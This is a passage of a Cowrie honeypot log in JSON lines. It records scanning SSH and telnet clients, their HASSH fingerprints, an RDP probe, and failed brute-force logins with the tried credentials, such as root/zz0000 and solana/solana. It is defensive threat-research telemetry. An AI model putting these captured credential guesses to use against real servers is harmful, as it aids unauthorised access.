{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:12:35.630802Z","src_ip":"159.203.92.129","session":"ba4c14da9175","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"ansible@2026","message":"login attempt [ansible/ansible@2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:12:35.642912Z","src_ip":"159.203.92.129","session":"ba4c14da9175","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:12:36.648690Z","src_ip":"159.203.92.129","session":"ba4c14da9175","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.207.207","src_port":39044,"dst_ip":"10.17.0.5","dst_port":23,"session":"bb0f21dd3d4c","protocol":"telnet","message":"New connection: 139.162.207.207:39044 (10.17.0.5:23) [session: bb0f21dd3d4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:13:03.347396Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":22554,"dst_ip":"10.17.0.5","dst_port":22,"session":"16d1c2ad021a","protocol":"ssh","message":"New connection: 194.59.206.2:22554 (10.17.0.5:22) [session: 16d1c2ad021a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:13:18.503091Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:13:18.506833Z","src_ip":"194.59.206.2","session":"16d1c2ad021a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:13:18.592274Z","src_ip":"194.59.206.2","session":"16d1c2ad021a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:13:18.682469Z","src_ip":"194.59.206.2","session":"16d1c2ad021a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":46690,"dst_ip":"159.203.135.109","dst_port":22,"session":"a337a0ea65af","protocol":"ssh","message":"New connection: 159.203.92.129:46690 (159.203.135.109:22) [session: a337a0ea65af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:13:18.760900Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:13:18.764984Z","src_ip":"159.203.92.129","session":"a337a0ea65af","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:13:18.771030Z","src_ip":"159.203.92.129","session":"a337a0ea65af","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"ansibleansible","message":"login attempt [ansible/ansibleansible] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:13:18.779555Z","src_ip":"159.203.92.129","session":"a337a0ea65af","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:13:19.785381Z","src_ip":"159.203.92.129","session":"a337a0ea65af","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.143.61.130","src_port":38492,"dst_ip":"159.203.135.109","dst_port":22,"session":"1eefb986a059","protocol":"ssh","message":"New connection: 37.143.61.130:38492 (159.203.135.109:22) [session: 1eefb986a059]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:13:36.805905Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:13:37.895757Z","src_ip":"37.143.61.130","session":"1eefb986a059","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:13:37.988728Z","src_ip":"37.143.61.130","session":"1eefb986a059","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zz0000","message":"login attempt [root/zz0000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:13:39.531577Z","src_ip":"37.143.61.130","session":"1eefb986a059","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.6","message":"Connection lost after 4.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:13:41.391119Z","src_ip":"37.143.61.130","session":"1eefb986a059","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.77535843849182,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:13:43.122624Z","src_ip":"139.162.207.207","session":"bb0f21dd3d4c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00097441673279,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:13:59.086168Z","src_ip":"45.181.100.135","session":"80b04bb73217","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.181.100.135","src_port":47753,"dst_ip":"159.203.135.109","dst_port":23,"session":"8f853278452e","protocol":"telnet","message":"New connection: 45.181.100.135:47753 (159.203.135.109:23) [session: 8f853278452e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:13:59.466972Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":38750,"dst_ip":"159.203.135.109","dst_port":22,"session":"da5db81627b6","protocol":"ssh","message":"New connection: 159.203.92.129:38750 (159.203.135.109:22) [session: da5db81627b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:14:02.071585Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:14:02.077259Z","src_ip":"159.203.92.129","session":"da5db81627b6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:14:02.082556Z","src_ip":"159.203.92.129","session":"da5db81627b6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"ansibleansible123","message":"login attempt [ansible/ansibleansible123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:14:02.100442Z","src_ip":"159.203.92.129","session":"da5db81627b6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:14:03.106547Z","src_ip":"159.203.92.129","session":"da5db81627b6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.119.76.44","src_port":42608,"dst_ip":"10.17.0.5","dst_port":23,"session":"e0e906705b36","protocol":"telnet","message":"New connection: 160.119.76.44:42608 (10.17.0.5:23) [session: e0e906705b36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:14:15.944868Z"}
{"eventid":"cowrie.session.closed","duration":120.00192093849182,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:14:16.428643Z","src_ip":"89.43.133.209","session":"7639ab2d1285","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.182","src_port":44334,"dst_ip":"10.17.0.5","dst_port":22,"session":"8f8595129cba","protocol":"ssh","message":"New connection: 80.94.92.182:44334 (10.17.0.5:22) [session: 8f8595129cba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:14:20.782335Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:14:20.831188Z","src_ip":"80.94.92.182","session":"8f8595129cba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:14:20.900039Z","src_ip":"80.94.92.182","session":"8f8595129cba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":5.000124216079712,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:14:20.944879Z","src_ip":"160.119.76.44","session":"e0e906705b36","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"solana","password":"solana","message":"login attempt [solana/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:14:21.356062Z","src_ip":"80.94.92.182","session":"8f8595129cba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:14:22.461667Z","src_ip":"80.94.92.182","session":"8f8595129cba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"189.144.20.242","src_port":37664,"dst_ip":"10.17.0.5","dst_port":23,"session":"e9fa1b87a251","protocol":"telnet","message":"New connection: 189.144.20.242:37664 (10.17.0.5:23) [session: e9fa1b87a251]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:14:22.804698Z"}
{"eventid":"cowrie.session.connect","src_ip":"89.43.133.209","src_port":46960,"dst_ip":"10.17.0.5","dst_port":23,"session":"e96748677177","protocol":"telnet","message":"New connection: 89.43.133.209:46960 (10.17.0.5:23) [session: e96748677177]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:14:34.286246Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.252.223","src_port":62167,"dst_ip":"159.203.135.109","dst_port":22,"session":"e45c855d5acb","protocol":"ssh","message":"New connection: 103.149.252.223:62167 (159.203.135.109:22) [session: e45c855d5acb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:14:34.672177Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:14:34.677128Z","src_ip":"103.149.252.223","session":"e45c855d5acb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:14:34.682619Z","src_ip":"103.149.252.223","session":"e45c855d5acb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.170783042907715,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:14:34.975341Z","src_ip":"189.144.20.242","session":"e9fa1b87a251","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"89.43.133.209","src_port":32670,"dst_ip":"10.17.0.5","dst_port":23,"session":"b0f66157bc51","protocol":"telnet","message":"New connection: 89.43.133.209:32670 (10.17.0.5:23) [session: b0f66157bc51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:14:39.077106Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":37378,"dst_ip":"159.203.135.109","dst_port":22,"session":"1d70567287ce","protocol":"ssh","message":"New connection: 159.203.92.129:37378 (159.203.135.109:22) [session: 1d70567287ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:14:47.450006Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:14:47.454654Z","src_ip":"159.203.92.129","session":"1d70567287ce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","